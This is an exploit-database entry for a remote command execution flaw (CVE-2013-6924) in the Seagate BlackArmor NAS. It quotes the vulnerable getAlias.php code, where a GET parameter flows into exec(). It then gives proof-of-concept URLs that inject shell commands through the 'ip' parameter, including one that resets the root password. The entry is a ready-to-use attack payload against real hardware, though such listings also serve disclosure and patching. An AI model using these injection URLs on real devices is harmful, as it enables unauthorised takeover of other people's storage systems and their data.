[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Seagate BlackArmor NAS sg2000-2000.1331 - Remote Command Execution

Author
Jeroen-ITNerdbox
Risk
[
Security Risk High
]
0day-ID
0day-ID-21734
Category
web applications
Date add
06-01-2014
CVE
CVE-2013-6924
Platform
hardware
# The file getAlias.php located in /backupmgt has the following lines:
 
#
 
# $ipAddress = $_GET["ip";
 
# if ($ipAddress != "") {
 
#    exec("grep -I $ipAddress $immedLogFile > aliasHistory.txt");
 
#    ..
 
#    ..
 
# }
 
#
 
# The GET parameter can easily be manipulated to execute commands on the
BlackArmor system.
 
#
 
## Proof of Concept:
 
#
 
# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; <your
command here>;
 
#
 
## Example to change the root password to 'mypassword':
 
#
 
# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; echo
'mypassword' | passwd --stdin;

#  0day.today [2024-11-16]  #